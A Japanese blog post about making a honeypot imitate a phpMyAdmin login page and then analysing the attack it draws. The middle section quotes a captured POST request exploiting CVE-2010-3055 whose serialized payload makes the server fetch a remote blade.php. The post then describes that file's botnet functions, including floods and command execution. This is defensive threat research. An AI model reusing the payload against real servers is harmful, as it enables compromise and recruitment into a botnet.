こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

phpMyAdminを狙った攻撃を深追いしてみた

ハニーポットを運用していると、phpMyAdminを狙った攻撃が多すぎて辟易とします。

攻撃といっても、/phpMyAdmin/index.php/phpmyadmin/index.php/PMA/index.php等のURIGETリクエストを発行し存在確認して、それっきりでした。

「こいつら存在確認ばかりだけど、本当にphpMyAdminが入っていたら何する気だったんや?」と思い、phpMyAdminが本当に稼働しているように見せる偽装をしてみることにしました。

結果だけ見たい人は1は飛ばしてください。

1. phpMyAdminっぽく振る舞うコンテンツの作成

環境は、前までの記事で構築済みのT-Pot+WOWHoneypotの環境です。

HTTP用のハニーポットであるWOWHoneypotは、デフォルトで/phpMyAdmin/を含むURIに対して、個別レスポンスを返却する定義がされています。

WOWHoneypot/mrrules.xml at master · morihisa/WOWHoneypot · GitHub

  <mrr>
    <meta>
      <mrrid>1007</mrrid>
      <enable>True</enable>
      <note>access to phpMyAdmin</note>
    </meta>
    <trigger>
      <uri>/phpMyAdmin/</uri>
    </trigger>
    <response>
      <status>200</status>
      <header>
        <name>Set-Cookie</name>
        <value>phpMyAdmin=1vbs1ar15h9a880ekmr49f4p4pvbuh89; path=/phpmyadmin/; HttpOnly</value>
      </header>
      <body><![CDATA[phpmyadmin]]></body>
    </response>
  </mrr>

こちらの定義のenableFalseにして、自分で作成したphpMyAdminのログイン画面っぽいレスポンスを返す定義を追加しました。実際にDockerでphpMyAdminMySQLの環境を構築し、ログイン画面のレスポンスデータを採取しました。

qiita.com

mrrules.xmlに追加した定義はこちらです。
他、/phpmyadmin//PMA/向けにも同様の定義を追加しています。

  <mrr>
    <meta>
      <mrrid>10001</mrrid>
      <enable>True</enable>
      <note>access to phpMyAdmin</note>
    </meta>
    <trigger>
      <uri>/phpMyAdmin/</uri>
    </trigger>
    <response>
      <status>200</status>
      <header>
        <name>Server</name>
        <value>nginx</value>
      </header>
      <header>
        <name>Content-Type</name>
        <value>text/html; charset=utf-8</value>
      </header>
      <header>
        <name>Connection</name>
        <value>keep-alive</value>
      </header>
      <header>
        <name>X-Powered-By</name>
        <value>PHP/7.2.6</value>
      </header>
      <header>
        <name>Set-Cookie</name>
        <value>phpMyAdmin=c97e67248940961c96723399eb3c0979; path=/phpMyAdmin/; HttpOnly</value>
      </header>
      <header>
        <name>X-ob_mode</name>
        <value>1</value>
      </header>
      <header>
        <name>X-Frame-Options</name>
        <value>DENY</value>
      </header>
      <header>
        <name>Referrer-Policy</name>
        <value>no-referrer</value>
      </header>
      <header>
        <name>Content-Security-Policy</name>
        <value>default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data:  *.tile.openstreetmap.org;object-src 'none';X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data:  *.tile.openstreetmap.org;object-src 'none';</value>
      </header>
      <header>
        <name>X-WebKit-CSP</name>
        <value>default-src 'self' ;script-src 'self'  'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data:  *.tile.openstreetmap.org;object-src 'none';</value>
      </header>
      <header>
        <name>X-XSS-Protection</name>
        <value>1; mode=block</value>
      </header>
      <header>
        <name>X-Content-Type-Options</name>
        <value>nosniff</value>
      </header>
      <header>
        <name>X-Permitted-Cross-Domain-Policies</name>
        <value>none</value>
      </header>
      <header>
        <name>X-Robots-Tag</name>
        <value>noindex, nofollow</value>
      </header>
      <header>
        <name>Expires</name>
        <value>Fri, 06 Jul 2018 14:18:49 +0000</value>
      </header>
      <header>
        <name>Cache-Control</name>
        <value>no-store, no-cache, must-revalidate,  pre-check=0, post-check=0, max-age=0</value>
      </header>
      <header>
        <name>Pragma</name>
        <value>no-cache</value>
      </header>
      <header>
        <name>Last-Modified</name>
        <value>Fri, 06 Jul 2018 14:18:49 +0000</value>
      </header>
      <header>
        <name>Vary</name>
        <value>Accept-Encoding</value>
      </header>
      <body filename="phpmyadmin.txt"></body>
    </response>
  </mrr>

phpmyadmin.txtはこちらです。
(採取したログイン画面のページそのままだと、多言語化用の文字が含まれており、WOWHoneypotのmrr_checker.pyで弾かれてしまったので一部カットしました)。

<!DOCTYPE HTML><html lang='en' dir='ltr'><head><meta charset="utf-8" /><meta name="referrer" content="no-referrer" /><meta name="robots" content="noindex,nofollow" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><style id="cfs-style">html{display: none;}</style><link rel="icon" href="favicon.ico" type="image/x-icon" /><link rel="shortcut icon" href="favicon.ico" type="image/x-icon" /><link rel="stylesheet" type="text/css" href="./themes/pmahomme/jquery/jquery-ui.css" /><link rel="stylesheet" type="text/css" href="js/vendor/codemirror/lib/codemirror.css?v=4.8.2" /><link rel="stylesheet" type="text/css" href="js/vendor/codemirror/addon/hint/show-hint.css?v=4.8.2" /><link rel="stylesheet" type="text/css" href="js/vendor/codemirror/addon/lint/lint.css?v=4.8.2" /><link rel="stylesheet" type="text/css" href="phpmyadmin.css.php?nocache=4588881584ltr&amp;server=1" /><link rel="stylesheet" type="text/css" href="./themes/pmahomme/css/printview.css?v=4.8.2" media="print" id="printcss"/><title>phpMyAdmin</title><script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.min.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery-migrate.js?v=4.8.2"></script>
<script data-cfasync='false' type='text/javascript' src='js/whitelist.php?v=4.8.2'></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/ajax.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/keyhandler.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery-ui.min.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/js.cookie.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.mousewheel.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.event.drag-2.2.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.validate.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery-ui-timepicker-addon.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.ba-hashchange-1.3.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/menu-resizer.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/cross_framing_protection.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/rte.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/tracekit.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/error_report.js?v=4.8.2"></script>
<script data-cfasync='false' type='text/javascript' src='js/messages.php?l=en&amp;v=4.8.2'></script>
<script data-cfasync="false" type="text/javascript" src="js/config.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/doclinks.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/functions.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/navigation.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/indexes.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/common.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/shortcuts_handler.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/lib/codemirror.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/mode/sql/sql.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/runmode/runmode.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/hint/show-hint.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/hint/sql-hint.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/vendor/codemirror/addon/lint/lint.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/codemirror/addon/lint/sql-lint.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript" src="js/console.js?v=4.8.2"></script>
<script data-cfasync="false" type="text/javascript">// <![CDATA[
PMA_commonParams.setAll({common_query:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"ib4&j|w+gR[p49l$",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_default_tab2:false,LimitChars:"50",pftext:"",confirm:true,LoginCookieValidity:"1440",session_gc_maxlifetime:"1440",logged_in:false,is_https:false,rootPath:"/",arg_separator:"&",PMA_VERSION:"4.8.2",auth_type:"cookie",user:"aaa"});
ConsoleEnterExecutes=false
AJAX.scriptHandler.add("vendor/jquery/jquery.min.js",0).add("vendor/jquery/jquery-migrate.js",0).add("whitelist.php",1).add("vendor/sprintf.js",1).add("ajax.js",0).add("keyhandler.js",1).add("vendor/jquery/jquery-ui.min.js",0).add("vendor/js.cookie.js",1).add("vendor/jquery/jquery.mousewheel.js",0).add("vendor/jquery/jquery.event.drag-2.2.js",0).add("vendor/jquery/jquery.validate.js",0).add("vendor/jquery/jquery-ui-timepicker-addon.js",0).add("vendor/jquery/jquery.ba-hashchange-1.3.js",0).add("vendor/jquery/jquery.debounce-1.0.5.js",0).add("menu-resizer.js",1).add("cross_framing_protection.js",0).add("rte.js",1).add("vendor/tracekit.js",1).add("error_report.js",1).add("messages.php",0).add("config.js",1).add("doclinks.js",1).add("functions.js",1).add("navigation.js",1).add("indexes.js",1).add("common.js",1).add("page_settings.js",1).add("shortcuts_handler.js",1).add("vendor/codemirror/lib/codemirror.js",0).add("vendor/codemirror/mode/sql/sql.js",0).add("vendor/codemirror/addon/runmode/runmode.js",0).add("vendor/codemirror/addon/hint/show-hint.js",0).add("vendor/codemirror/addon/hint/sql-hint.js",0).add("vendor/codemirror/addon/lint/lint.js",0).add("codemirror/addon/lint/sql-lint.js",0).add("console.js",1);
$(function() {AJAX.fireOnload("whitelist.php");AJAX.fireOnload("vendor/sprintf.js");AJAX.fireOnload("keyhandler.js");AJAX.fireOnload("vendor/js.cookie.js");AJAX.fireOnload("menu-resizer.js");AJAX.fireOnload("rte.js");AJAX.fireOnload("vendor/tracekit.js");AJAX.fireOnload("error_report.js");AJAX.fireOnload("config.js");AJAX.fireOnload("doclinks.js");AJAX.fireOnload("functions.js");AJAX.fireOnload("navigation.js");AJAX.fireOnload("indexes.js");AJAX.fireOnload("common.js");AJAX.fireOnload("page_settings.js");AJAX.fireOnload("shortcuts_handler.js");AJAX.fireOnload("console.js");});
// ]]></script><noscript><style>html{display:block}</style></noscript></head><body id='loginform'><div id="page_content"><div class="container">
<a href="./url.php?url=https%3A%2F%2Fwww.phpmyadmin.net%2F" target="_blank" rel="noopener noreferrer" class="logo">
<img src="./themes/pmahomme/img/logo_right.png" id="imLogo" name="imLogo" alt="phpMyAdmin" border="0" />
</a>
<h1>Welcome to <bdo dir="ltr" lang="en">phpMyAdmin</bdo></h1>

<noscript>
<div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> Javascript must be enabled past this point!</div>
</noscript>

<div class="hide" id="js-https-mismatch">
<div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> There is mismatch between HTTPS indicated on the server and client. This can lead to non working phpMyAdmin or a security risk. Please fix your server configuration to indicate HTTPS properly.</div>
</div>
<div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> Cannot log in to the MySQL server</div><div class='hide js-show'>    <form method="get" action="index.php" class="disableAjax">
    <input type="hidden" name="db" value="" /><input type="hidden" name="table" value="" /><input type="hidden" name="token" value="ib4&amp;j|w+gR[p49l$" />

            <fieldset>
            <legend lang="en" dir="ltr">Language</legend>
    
    <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang">
        <option value="en" selected="selected">
        English
        </option>
    </select>

            </fieldset>
    
    </form>
</div>
    <br />
    <!-- Login form -->
    <form method="post" id="login_form" action="index.php" name="login_form" class="disableAjax login hide js-show">
        <fieldset>
        <legend><input type="hidden" name="set_session" value="c97e67248940961c96723399eb3c0979" />Log in<a href="./doc/html/index.html" target="documentation"><img src="themes/dot.gif" title="Documentation" alt="Documentation" class="icon ic_b_help" /></a></legend>
            <div class="item">
                <label for="input_servername" title="You can enter hostname/IP address and port separated by space.">Server:</label>
                <input type="text" name="pma_servername" id="input_servername" value="aaa" size="24" class="textfield" title="You can enter hostname/IP address and port separated by space." />
            </div><div class="item">
                <label for="input_username">Username:</label>
                <input type="text" name="pma_username" id="input_username" value="aaa" size="24" class="textfield"/>
            </div>
            <div class="item">
                <label for="input_password">Password:</label>
                <input type="password" name="pma_password" id="input_password" value="" size="24" class="textfield" />
            </div>    <input type="hidden" name="server" value="1" /></fieldset><fieldset class="tblFooters"><input value="Go" type="submit" id="input_go" /><input type="hidden" name="target" value="index.php" /><input type="hidden" name="token" value="ib4&amp;j|w+gR[p49l$" /></fieldset>
    </form><div id="pma_errors"><div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> mysqli_real_connect(): php_network_getaddresses: getaddrinfo failed: Name does not resolve</div><div class="error"><img src="themes/dot.gif" title="" alt="" class="icon ic_s_error" /> mysqli_real_connect(): (HY000/2002): php_network_getaddresses: getaddrinfo failed: Name does not resolve</div></div></div>
</div></body></html>

2. POSTリクエストの攻撃を検知

7/6(金)の夜に上記の変更を実施し、7/8(日)までの約2日間で以下の攻撃状況になりました。

f:id:graneed:20180708211950p:plain

今までphpMyAdminを狙った攻撃はGETリクエストばかりでしたが、POSTリクエストを検知しました。万歳。

ただ、今回の変更のおかげなのか、偶然タイミングが一致したのかは不明ではあります。
※これまで、ほぼ同様の検知状況であるS-Owl氏の日次簡易分析を参考に、今回から差分が出ているかどうかで判断しようかなと思います。
参考:https://sec-owl.hatenablog.com/

さて、POSTリクエストのデータを見てみます。(IPアドレスは*でマスク済み。)

POST /phpmyadmin/scripts/setup.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE
Host: *.*.*.*
Referer: http://*.*.*.*/phpmyadmin/scripts/setup.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
Content-Type: application/x-www-form-urlencoded
Cookie: phpMyAdmin=c97e67248940961c96723399eb3c0979
Cookie2: $Version="1"
Content-Length: 223

action=lay_navigation&eoltype=unix&token=ib4&amp;j|w+gR[p49l$&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A28%3A%22ftp%3A%2F%2F***%2E**%2E**%2E**%2Fblade%2Ephp%22%3B%7D%7D

Cookie: phpMyAdmin=c97e67248940961c96723399eb3c0979は、レスポンスのSet-Cookieで返却している値です。 つまり、以下のシーケンスで、攻撃者が下見してから実際の攻撃に移っているものと推測できます。

  1. 攻撃者は、ハニーポット/phpmyadmin/にリクエストを発行する。
  2. ハニーポットは、phpMyAdminのログイン画面のレスポンスを返却する。
    レスポンスにはSet-Cookie:phpMyAdmin=c97e67248940961c96723399eb3c0979を含んでいる。
  3. 攻撃者は、ハニーポット/phpmyadmin/scripts/setup.phpにPOSTリクエストを発行する。その際、2で取得したCookieをHTTPリクエストヘッダーにセットする。

実際に該当IPアドレスからのリクエストを観察すると、1に該当するリクエストが来ていました。

次に、 action=lay_navigation&eoltype=unix&token=ib4&amp;j|w+gR[p49l$&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A28%3A%22ftp%3A%2F%2F***%2E**%2E**%2E**%2Fblade%2Ephp%22%3B%7D%7Dを見てみます。

configurationパラメータをHTTPデコードかけると以下の文字列になります。

a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:28:"ftp://***.**.**.**/blade.php";}}

PHPのオブジェクトをシリアライズした文字列ですね。
blade.phpをダウンロードさせようとしているようです。

URLやconfiguration等のキーワードでGoogle検索すると、phpMyAdminの古い脆弱性を突いた攻撃であることがわかります。

JVNDB-2010-005629 - JVN iPedia - 脆弱性対策情報データベース

CVE - CVE-2010-3055

phpMyAdmin - Security - PMASA-2010-4

3. 何が実行させられるのか

blade.phpを取得して確認してみます。ハニーポットのサーバからwgetで取得しました。
(phpMyAdminとはUserAgentが異なるため、
攻撃者が取得ログを見ていたら調査目的なのはバレバレだろうけど・・・)

ファイルの中身を確認すると、以下の機能を持つphpファイルであることがわかりました。

  • C2サーバと通信を確立し、C2サーバの指示に従って下記機能を実行
  • udp flood
  • tcp flood
  • http flood
  • 自プロセスのkill
  • C2サーバの変更
  • 任意のファイルダウンロード
  • 任意のコマンド実行

コードの一部を載せます。 f:id:graneed:20180708212616p:plain

なお、時間を変えて再度ダウンロードしたところ、実装されている機能が増減していました。
攻撃者が、まさに改造真っ最中なのでしょうか。

4. まとめ

攻撃者の攻撃の狙いに即した、実際のアプリケーションに近いレスポンスを返すことで、攻撃者の次の一手の情報を収集することができました。

突き詰めると高対話型ハニーポットの利用になるのでしょうが、コスト(費用、運用)と安全面からハードルが高いため、できる範囲でカスタマイズ等で対応し、情報収集をしていきたいと思います。

また、今回観察したphpMyAdminに対する攻撃は2010年に対処された脆弱性に対する攻撃ですが、まだまだ攻撃者に通常利用されていることがわかりました。ということは、まだ未対応のサーバが世界には数多く存在するものと推測されます。